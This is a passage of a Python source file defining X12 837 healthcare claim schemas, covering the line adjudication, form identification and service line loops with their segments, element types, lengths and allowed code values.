codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2430 = Loop(
"2430",
Properties(
desc="Line Adjudication Information",
looptype="",
position="5400",
repeat="15",
req_sit="S",
),
Segment(
"SVD",
Properties(
desc="Line Adjudication Information",
position="5400",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"SVD01",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=1,
codes=[],
),
),
Element(
"SVD02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Composite(
"C003",
Properties(
desc="Composite Medical Procedure Identifier",
refdes="",
repeat="",
req_sit="R",
seq="03",
),
Element(
"SVD03-01",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["ER", "HC", "IV", "WK"],
),
),
Element(
"SVD03-02",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=1,
codes=[],
),
),
Element(
"SVD03-03",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=2,
codes=[],
),
),
Element(
"SVD03-04",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=3,
codes=[],
),
),
Element(
"SVD03-05",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=4,
codes=[],
),
),
Element(
"SVD03-06",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=5,
codes=[],
),
),
Element(
"SVD03-07",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=6,
codes=[],
),
),
Element(
"SVD03-08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
),
Element(
"SVD04",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=4,
codes=[],
),
),
Element(
"SVD05",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"SVD06",
Properties(
desc="Assigned Number",
req_sit="S",
data_type=("N0", "1", "6"),
position=6,
codes=[],
),
),
),
Segment(
"CAS",
Properties(
desc="Line Adjustment",
position="5450",
repeat="5",
req_sit="S",
syntax="L050607 C0605 C0705 L080910 C0908 C1008 L111213 C1211 C1311 L141516 C1514 C1614 L171819 C1817 C1917",
),
Element(
"CAS01",
Properties(
desc="Claim Adjustment Group Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=1,
codes=["CO", "CR", "OA", "PI", "PR"],
),
),
Element(
"CAS02",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="R",
data_type=("ID", "1", "5"),
position=2,
codes=[],
),
),
Element(
"CAS03",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"CAS04",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"CAS05",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=5,
codes=[],
),
),
Element(
"CAS06",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=6,
codes=[],
),
),
Element(
"CAS07",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CAS08",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=8,
codes=[],
),
),
Element(
"CAS09",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=9,
codes=[],
),
),
Element(
"CAS10",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=10,
codes=[],
),
),
Element(
"CAS11",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=11,
codes=[],
),
),
Element(
"CAS12",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=12,
codes=[],
),
),
Element(
"CAS13",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=13,
codes=[],
),
),
Element(
"CAS14",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=14,
codes=[],
),
),
Element(
"CAS15",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=15,
codes=[],
),
),
Element(
"CAS16",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=16,
codes=[],
),
),
Element(
"CAS17",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=17,
codes=[],
),
),
Element(
"CAS18",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=18,
codes=[],
),
),
Element(
"CAS19",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=19,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Line Check or Remittance Date",
position="5500",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["573"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Remaining Patient Liability",
position="5505",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["EAF"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
)
parsed_837_2440 = Loop(
"2440",
Properties(
desc="Form Identification Code",
looptype="",
position="5510",
repeat=">1",
req_sit="S",
),
Segment(
"LQ",
Properties(
desc="Form Identification Code",
position="5510",
repeat="1",
req_sit="R",
syntax="C0102",
),
Element(
"LQ01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["AS", "UT"],
),
),
Element(
"LQ02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=2,
codes=[],
),
),
),
Segment(
"FRM",
Properties(
desc="Supporting Documentation",
position="5520",
repeat="99",
req_sit="R",
syntax="R02030405",
),
Element(
"FRM01",
Properties(
desc="Assigned Identification",
req_sit="R",
data_type=("AN", "1", "20"),
position=1,
codes=[],
),
),
Element(
"FRM02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "W", "Y"],
),
),
Element(
"FRM03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"FRM04",
Properties(
desc="Date",
req_sit="S",
data_type=("DT", "8", "8"),
position=4,
codes=[],
),
),
Element(
"FRM05",
Properties(
desc="Percent, Decimal Format",
req_sit="S",
data_type=("R", "1", "6"),
position=5,
codes=[],
),
),
),
)
parsed_837_2400 = Loop(
"2400",
Properties(
desc="Service Line Number",
looptype="",
position="3650",
repeat="50",
req_sit="R",
),
Segment(
"LX",
Properties(
desc="Service Line Number",
position="3650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"LX01",
Properties(
desc="Assigned Number",
req_sit="R",
data_type=("N0", "1", "6"),
position=1,
codes=[],
),
),
),
Segment(
"SV1",
Properties(
desc="Professional Service",
position="3700",
repeat="1",
req_sit="R",
syntax="P0304",
),
Composite(
"C003",
Properties(
desc="Composite Medical Procedure Identifier",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"SV101-01",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["ER", "HC", "IV", "WK"],
),
),
Element(
"SV101-02",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=1,
codes=[],
),
),
Element(
"SV101-03",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=2,
codes=[],
),
),
Element(
"SV101-04",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=3,
codes=[],
),
),
Element(
"SV101-05",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=4,
codes=[],
),
),
Element(
"SV101-06",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=5,
codes=[],
),
),
Element(
"SV101-07",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=6,
codes=[],
),
),
Element(
"SV101-08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
),
Element(
"SV102",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"SV103",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["MJ", "UN"],
),
),
Element(
"SV104",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"SV105",
Properties(
desc="Facility Code Value",
req_sit="S",
data_type=("AN", "1", "2"),
position=5,
codes=[],
),
),
Element(
"SV106",
Properties(
desc="Service Type Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=6,
codes=[],
),
),
Composite(
"C004",
Properties(
desc="Composite Diagnosis Code Pointer",
refdes="",
repeat="",
req_sit="R",
seq="07",
),
Element(
"SV107-01",
Properties(
desc="Diagnosis Code Pointer",
req_sit="R",
data_type=("N0", "1", "2"),
position=0,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
Element(
"SV107-02",
Properties(
desc="Diagnosis Code Pointer",
req_sit="S",
data_type=("N0", "1", "2"),
position=1,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
Element(
"SV107-03",
Properties(
desc="Diagnosis Code Pointer",
req_sit="S",
data_type=("N0", "1", "2"),
position=2,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
Element(
"SV107-04",
Properties(
desc="Diagnosis Code Pointer",
req_sit="S",
data_type=("N0", "1", "2"),
position=3,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
),
Element(
"SV108",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=8,
codes=[],
),
),
Element(
"SV109",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=9,
codes=["Y"],
),
),
Element(
"SV110",
Properties(
desc="Multiple Procedure Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=10,
codes=[],
),
),
Element(
"SV111",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=11,
codes=["Y"],
),
),
Element(
"SV112",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=12,
codes=["Y"],
),
),
Element(
"SV113",
Properties(
desc="Review Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=13,
codes=[],
),
),
Element(
"SV114",
Properties(
desc="National or Local Assigned Review Value",
req_sit="N",
data_type=("AN", "1", "2"),
position=14,
codes=[],
),
),
Element(
"SV115",
Properties(
desc="Copay Status Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=15,
codes=["0"],
),
),
Element(
"SV116",
Properties(
desc="Health Care Professional Shortage Area Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=16,
codes=[],
),
),
Element(
"SV117",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=17,
codes=[],
),
),
Element(
"SV118",
Properties(
desc="Postal Code",
req_sit="N",
data_type=("ID", "3", "15"),
position=18,
codes=[],
),
),
Element(
"SV119",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=19,
codes=[],
),
),
Element(
"SV120",
Properties(
desc="Level of Care Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=20,
codes=[],
),
),
Element(
"SV121",
Properties(
desc="Provider Agreement Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=21,
codes=[],
),
),
),
Segment(
"SV5",
Properties(
desc="Durable Medical Equipment Service",
position="4000",
repeat="1",
req_sit="S",
syntax="R0405 C0604",
),
Composite(
"C003",
Properties(
desc="Composite Medical Procedure Identifier",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"SV501-01",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["HC"],
),
),
Element(
"SV501-02",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=1,
codes=[],
),
),
Element(
"SV501-03",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=2,
codes=[],
),
),
Element(
"SV501-04",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=3,
codes=[],
),
),
Element(
"SV501-05",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=4,
codes=[],
),
),
Element(
"SV501-06",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=5,
codes=[],
),
),
Element(
"SV501-07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=6,
codes=[],
),
),
Element(
"SV501-08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
),
Element(
"SV502",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["DA"],
),
),
Element(
"SV503",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=3,
codes=[],
),
),
Element(
"SV504",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"SV505",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=5,
codes=[],
),
),
Element(
"SV506",
Properties(
desc="Frequency Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=6,
codes=["1", "4", "6"],
),
),
Element(
"SV507",
Properties(
desc="Prognosis Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=7,
codes=[],
),
),
),
Segment(
"PWK",
Properties(
desc="Line Supplemental Information",
position="4200",
repeat="10",
req_sit="S",
syntax="P0506",
),
Element(
"PWK01",
Properties(
desc="Report Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"13",
"15",
"21",
"A3",
"A4",
"AM",
"AS",
"B2",
"B3",
"B4",
"BR",
"BS",
"BT",
"CB",
"CK",
"CT",
"D2",
"DA",
"DB",
"DG",
"DJ",
"DS",
"EB",
"HC",
"HR",
"I5",
"IR",
"LA",
"M1",
"MT",
"NN",
"OB",
"OC",
"OD",
"OE",
"OX",
"OZ",
"P4",
"P5",
"PE",
"PN",
"PO",
"PQ",
"PY",
"PZ",
"RB",
"RR",
"RT",
"RX",
"SG",
"V5",
"XP",
],
),
),
Element(
"PWK02",
Properties(
desc="Report Transmission Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=2,
codes=["AA", "BM", "EL", "EM", "FT", "FX"],
),
),
Element(
"PWK03",
Properties(
desc="Report Copies Needed",
req_sit="N",
data_type=("N0", "1", "2"),
position=3,
codes=[],
),
),
Element(
"PWK04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"PWK05",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=5,
codes=["AC"],
),
),
Element(
"PWK06",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=6,
codes=[],
),
),
Element(
"PWK07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=7,
codes=[],
),
),
Composite(
"C002",
Properties(
desc="Actions Indicated", refdes="", repeat="", req_sit="N", seq="08"
),
),
Element(
"PWK09",
Properties(
desc="Request Category Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=9,
codes=[],
),
),
),
Segment(
"PWK",
Properties(
desc="Durable Medical Equipment Certificate of Medical Necessity Indicator",
position="4200",
repeat="1",
req_sit="S",
syntax="P0506",
),
Element(
"PWK01",
Properties(
desc="Report Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["CT"],
),
),
Element(
"PWK02",
Properties(
desc="Report Transmission Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=2,
codes=["AB", "AD", "AF", "AG", "NS"],
),
),
Element(
"PWK03",
Properties(
desc="Report Copies Needed",
req_sit="N",
data_type=("N0", "1", "2"),
position=3,
codes=[],
),
),
Element(
"PWK04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"PWK05",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"PWK06",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=6,
codes=[],
),
),
Element(
"PWK07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=7,
codes=[],
),
),
Composite(
"C002",
Properties(
desc="Actions Indicated", refdes="", repeat="", req_sit="N", seq="08"
),
),
Element(
"PWK09",
Properties(
desc="Request Category Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=9,
codes=[],
),
),
),
Segment(
"CR1",
Properties(
desc="Ambulance Transport Information",
position="4250",
repeat="1",
req_sit="S",
syntax="P0102 P0506",
),
Element(
"CR101",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=1,
codes=["LB"],
),
),
Element(
"CR102",
Properties(
desc="Weight",
req_sit="S",
data_type=("R", "1", "10"),
position=2,
codes=[],
),
),
Element(
"CR103",
Properties(
desc="Ambulance Transport Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
Element(
"CR104",
Properties(
desc="Ambulance Transport Reason Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["A", "B", "C", "D", "E"],
),
),
Element(
"CR105",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=5,
codes=["DH"],
),
),
Element(
"CR106",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=6,
codes=[],
),
),
Element(
"CR107",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=7,
codes=[],
),
),
Element(
"CR108",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=8,
codes=[],
),
),
Element(
"CR109",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=9,
codes=[],
),
),
Element(
"CR110",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=10,
codes=[],
),
),
),
Segment(
"CR3",
Properties(
desc="Durable Medical Equipment Certification",
position="4350",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"CR301",
Properties(
desc="Certification Type Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=1,
codes=["I", "R", "S"],
),
),
Element(
"CR302",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["MO"],
),
),
Element(
"CR303",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=3,
codes=[],
),
),
Element(
"CR304",
Properties(
desc="Insulin Dependent Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=4,
codes=[],
),
),
Element(
"CR305",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=5,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="Ambulance Certification",
position="4500",
repeat="3",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["07"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=6,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=7,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
),
Segment(
"CRC",
Properties(
desc="Hospice Employee Indicator",
position="4500",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["70"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["65"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=5,
codes=[],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=[],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="Condition Indicator/Durable Medical Equipment",
position="4500",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["09"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["38", "ZV"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["38", "ZV"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=5,
codes=["38", "ZV"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=["38", "ZV"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=["38", "ZV"],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Service Date",
position="4550",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["472"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8", "RD8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Prescription Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["471"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="DATE - Certification Revision/Recertification Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["607"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Begin Therapy Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["463"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Certification Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["461"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Seen Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["304"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Test Date", position="4550", repeat="2", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["738", "739"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Shipped Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["011"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last X-ray Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["455"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Initial Treatment Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
